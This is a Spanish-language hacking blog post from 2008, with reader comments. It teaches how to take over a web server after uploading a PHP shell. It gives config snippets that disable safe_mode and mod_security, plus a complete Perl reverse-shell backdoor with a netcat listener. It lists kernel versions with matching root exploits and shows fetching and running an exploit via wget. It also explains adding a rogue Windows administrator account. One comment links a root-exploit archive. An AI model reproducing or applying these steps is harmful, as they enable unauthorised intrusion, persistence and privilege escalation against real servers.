sábado, 20 de septiembre de 2008

Rootear Servidores


Rootear Servidores


Por Vengador de las Sombras (F.O.S TEAM)


0X00 INDICE


0x01 Introducción
0x02 Habilitar funciones (bypassing)
0x02~01 Safe_mode
0x02~02 Mod_security
0x03 Shell inversa
0x04 Rootear el servidor
0x04~01 Servidores con Linux
0x04~02 Servidores con Win32
0x05 Despedida y Agradecimiento s



0X01 INTRODUCCIÓN



El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas existenciales cuando empiezas en este mundillo... ¿Qué hacer con tu shell?.

Pues para las personas que tienen esta duda, va dirigido esta guía. La idea original de crear dicha guía me la dió hace ya tiempo Lëssiëm. En aquel momento le expliqué de una forma "muy breve" el como rootear un servidor... pero en aquella ocasión se lo expliqué todo color de rosa, es decir sin ningun tipo de complicación. La idea de la guia se fue dejando de lado... hasta que antes de irme a la Universidad decidi crearla.

0X02 HABILITAR FUNCIONES (BYPASSING)



El primer problema con el que solemos encontrarnos a la hora de "juankear" un servidor, suele ser el que tenemos ciertas funciones deshabilitadas por culpa del "Safe_Mode", o tenemos algún problema con el Mod_Security. Cualesquiera que sea el caso del que nos dé problemas, en este capítulo hablaremos de como saltar, de como "bypassear" estas restricciones que nos encontramos.

Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la forma más sencilla por todo el servidor. A continuación pasamos a explicar detalladamente distintos bypassing.

0X02~01 SAFE_MODE



El Safe_Mode o Modo Seguro, es una configuración que se suele seguir mucho en los servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un /home/ diferente donde se alojan, teniendo el servidor así diferentes /home/, uno por cada usuario. Para evitar el que un usuario pueda interferir de algún modo en el normal funcionamiento de otro, estos servidores suelen adoptar una configuración de Modo Seguro.


Esta configuración lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse como "peligrosas", tales como funciones de ejecución (Eval, System, exec...) y algunas otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de éstas funciones, sino que bloquean su uso únicamente al dueño del fichero.

Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen diversas formas.


La primera de todas es usando algún exploit que vulnere la versión PHP que está corriendo el servidor. Normalmente deben de ejecutar el código del exploit en la shell. ¿Cómo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrán observado que existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ahí el código del exploit y lo ejecutan.




Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuración php.ini. Esto se hace así porque el safe_mode se configura como ON en la configuración de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuración dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:



[PHP]
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
safe_mode_include_dir =On


Pues ya sabemos cómo bypassear el safe_mode para poder movernos con soltura dentro del servidor.

0X02~02 MOD_SECURITY



Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... así que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de añadir al fichero .htaccess


<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>



Con esto y el bypass de Safe_Mode tendríamos la mitad del asunto hecho

0X03 SHELL INVERSA



El caso es que usar la shell en PHP para empezar está bien, pero cuando ya has conseguido realizar los bypass y lo que buscas es manejarte y tratar de rootear el servidor, siempre es mejor tener una shell sobre la que ejecutar instrucciones.

Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en principio, casi siempre permite conexiones salientes, pero no entrantes.


Entonces nuestro objetivo será codear alguna aplicación que nos dé una shell inversa en el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente siempre apoyo el "codeate tú mismo tus herramientas" para depender menos de terceros. Así que aqui os dejo un PoC :



print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
$ejecutor = "/bin/bash";
system($ejecutor);


Esa es una pequeña idea, estudiad Perl para poder implementar esta idea. El caso es que con eso lanzaríamos un socket al host y puerto que hayamos puesto. Aqui les dejo la BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente estamos trabajando con la 0.3 (le he añadido unos pocos errores anti-kiddies):


#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
# #
# BackFoS is a Backdoor in PERL for all Servers #
# c0dex by Vengador de las Sombras #
# #
# USAGE: Perl BackFoS.pl #
# You need have listen nc, cryptcar, putty or other #
# program on to connect with the backdoor #
# #
#=========================================================#
# #
# Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k, #
# Lëssiëm Tárálom, Phonix & ArgeniversoHack & #RE members #
# Especial Thanx To Plaga, for the help =) #
# #
#################### (c)FoS TeaM 2008 #####################

#use IO::Socket;

print q(

=================================================
BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 5){
print "\nUsage: BackFoS.pl
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
sistem($ejecutor);
}


Antes de mandar la shell, debemos de ejecutar en nuestra propia shell lo siguiente:



nc -lvvp 90


Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones TCP/IP. El caso es que así dejamos a la escucha netcat para que reciba la shell. Desde la shell .php que tenemos en el servidor ejecutamos lo siguiente:



perl


et voilá ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta shell tendremos más flexibilidad que con la shell .php.


0X04 ROOTEAR EL SERVIDOR



Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que corren con Linux y los que corren con Win32



0X04~01 SERVIDORES CON LINUX



Cuando rooteamos un servidor que corre con el sistema operativo Linux, lo que haremos será atacar al kernel (en caso de que sea una versión vulnerable) para que elevemos privilegios.

En este caso partimos de la base de que ya estamos controlando una shell inversa procedente del servidor. Lo primero que deberemos de hacer será comprobar si la versión del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les dejo un listado de kernels y posibles rootexploits que los vulneran:

2.4.17=> "newlocal kmod uselib24",
2.4.18=> "brk brk2 newlocal kmod",
2.4.19=> "brk brk2 newlocal kmod",
2.4.20=> "ptrace kmod ptrace-kmod brk brk2",
2.4.21=> "brk brk2 ptrace ptrace-kmod",
2.4.22=> "brk brk2 ptrace ptrace-kmod",
2.4.22-10=> "loginx",
2.4.23=> "mremap_pte",
2.4.24=> "mremap_pte uselib24",
2.4.25-1=> "uselib24",
2.4.27=> "uselib24",
2.6.2=> "mremap_pte krad h00lyshit",
2.6.5=> "krad krad2 h00lyshit",
2.6.6=> "krad krad2 h00lyshit",
2.6.7=> "krad krad2 h00lyshit",
2.6.8=> "krad krad2 h00lyshit",
2.6.8-5=> "krad2 h00lyshit",
2.6.9=> "krad krad2 h00lyshit",
2.6.9-34=> "r00t h00lyshit",


o hice una tool para el team que se encargaba precisamente de eso, de mostrar los posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar uname -r y creas un patron de búsqueda que compruebe si en el output aparece alguna version de kernel que tengamos en el hash).

Bien desde la shell remota lo que haremos será movernos hasta un directorio donde podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type d -perm (los que necesiemos buscar)

Bueno, si ya estamso en el directorio, ahora debemos de descargar nuestro rootexploit al servidor usando el comando wget (wget http://mihost.com/del/exploit). Tras haber descargado nuestro rootexploit, deberemos de darle permisos de ejecuccion (777) usando el comando chmod:

Código:

chmod 777 rootexploit


Y ya solo nos quedaría ejecutarlo con ./rootexploit. Si todo ha salido bien, deberíamos de ser root ya.

0X04~02 SERVIDORES CON WIN32



Los más puristas llaman a esto "Semi-rootear" el servidor... pero bueno. Yo aprendí siguiendo un paper que publicó You_kn0w. La idea es crear un usuario en el servidor con permisos de administrador a través de los comandos net. Es por ello que es necesario tener el safe_mode off, para poder ejecutar comandos.

El "ataque" se inicia desde la shell que tengamos en el servidor. Allí lo que hacemos es ejecutar las siguientes instrucciones:

Código:

net user FoS 123456 /add


Para aquellos que sepan algo de batch, sabrán que lo que hemos hecho ha sido crear un usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio -> ejecutar y escribimos mstsc.exe

Se nos abrirá una ventania. Ahí vamos a opciones y rellenamos los campos, a excepción de Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habíamos creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell ipconfig y sacar la IP.

0X05 DESPEDIDA Y AGRADECIMIENTOS




Bien, creo que al final este paper ha quedado como una buena introducción a las newbies que empiezan en este mundo. Por otra parte creo que podría expandirse un poco más... pero bueno eso para otra ocasión. Espero les haya sido de utilidad.


Gr3tz to: FoS TeaM (Chipbios & Mace Windu), Askata, Chr0n05, Lëssiëm, Lutscher, Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.
5 0verl0ad Labs: Rootear Servidores Rootear Servidores Por Vengador de las Sombras (F.O.S TEAM) 0X00 INDICE 0x01 Introducción 0x02 Habilitar funciones (bypassing) 0x02~...

10 comentarios:

Lix dijo...

http://rapidshare.com/files/147732310/Root_Exploits.tar.gz.html

Anexo imprescindible al post :P

Vengador de las Sombras dijo...

[Desccarga RootExploits]

Men no me dejaba editar tu post XD

Tr0Y@N0 dijo...

Tengo una duda, bueno mas bien un problema. Tengo todo creado, el user de administrador... pero al intentar conectar por mstsc.exe no me deja siempre me tira error y esta activo el pc al que me intento conectar, y tengo habilitado las conecxiones remotas en mi pc ¿porque no va? porfavor ayuda

saludos.

Anónimo dijo...

Troy, me imagino que al pc que te queres conectar tiene habilitado el escritorio remoto en windows no? Por que sino remotamente ni en suenos vas a conectarte...solo localmente estando frente al pc.

Saludos!

Anónimo dijo...

Las cosas que se ven en la red... El mismo tutorial pero en www (punto) zer0max (punto) atspace (punto) com (en donde dice: root server linux con firewall) ¿Quien sera el verdadero autor? Uffff....

The X-C3LL dijo...

@Anonimo

No sé si te has fijado que en ese manual viene continuamente referencias al FoS Team, y de echo el Backdoor que emplea pone bien clarito "By Vengador de las Sombras", que por si te sirve de información era mi nick anterior (por el blog lo encontrarás en mil sitios, incluso en el theme fue modificado por Mace Windu y por mí).


Y, el FoS (Flamming our Skills) era el team en el que estaba.


Para próximas veces, en vez de poner en tela de juicio la autoridad de mis manuales, informate un poco.

Anónimo dijo...

Pues no uses tantos Nicks ni hagas tantos tutoriales que no sirven para nada..centrate en estudiar mas, y como dice anonimo.. a saber quien a hecho esta chusta de manual???? a todo se le llama manual... pero que manual vas a hacer con los años que tienes y lo que has estudiado????? Nos reimos poco leyendote !! joder sigue así !!!

Anónimo dijo...

A ver, los "anónimos"... !! Yo conozco a "TheX" hace poco tiempo pero te puedo garantizar que sabe más que tu con los ojos (vosotros) cerrados, eso seguro porque los que criticais así y sin dar la cara no teneis por linea general ni puta idea de nada y menos de seguridad. Poco más que decir.

El artículo es bueno, el manual es bueno.. y el chaval puede usar los nicks que le de la gana, como todos .. o seras tu "anonimo" e unico tonto que use solo uno.

No critiqueis tanto y hacer vosotros algo..

Buen articulo

Saludos

Juan Carlos

Anónimo dijo...

El post está muy bien, el manual también, puede tener los nicks que le salgan de los webos.. los que vais de "anonimos" por linea general solo sabeis criticar porque no teneis ni puta idea de seguridad ... lo normal ... y criticais sin dar la car.. como no !!

No le conozco hace mucho a TheXCell pero si lo suficiente para saber que sabe lo que dice y lo que hace !!

Un saludo

Juan Carlos

The X-C3LL dijo...

Saludos,

Puedo entender que el manual te pueda parecer malo, releyendolo uno se da cuenta que debería de modificarse. Es de hace 6 años y cumplió sus propósitos en los circulos en los que me movía en esa época.

Respecto a lo de la edad... o me conoces en persona, o bien has chateado conmigo. Si has estado conmigo en algún #TapasCON, dudo que dijeras algo como eso de mí, sobre todo porque siempre dejo muy claro que la seguridad para mí es un hobbie -no un trabajo-, y lanzo baterías de preguntas a todo aquel que pueda enseñarme algo.

Por lo tanto me inclino más a pensar que hemos debido de chatear alguna vez, y por la forma en la que están escritos los mensajes y los intervalos de tiempo, diría que además están hechos los 3 por la misma persona. Ahora bien, saber si realmente eres Juan Carlos no podría. Quiero pensar que tiene un pelín más de dignidad para no tener andar intentando trolear por los blogs ajenos a su edad, además de que usaría su usuario de blogger y no anónimos. Pero vamos, de ese personaje me creo cualquier cosa.

En fin, que si te ríes a costa mía, me alegro. Algo que sacas en positivo del blog.

< >